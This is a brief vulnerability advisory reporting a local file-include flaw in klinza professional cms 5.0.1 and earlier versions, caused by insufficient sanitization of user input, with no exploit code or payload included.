The 'klinza professional cms' project is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects 'klinza professional cms 5.0.1' and prior versions.
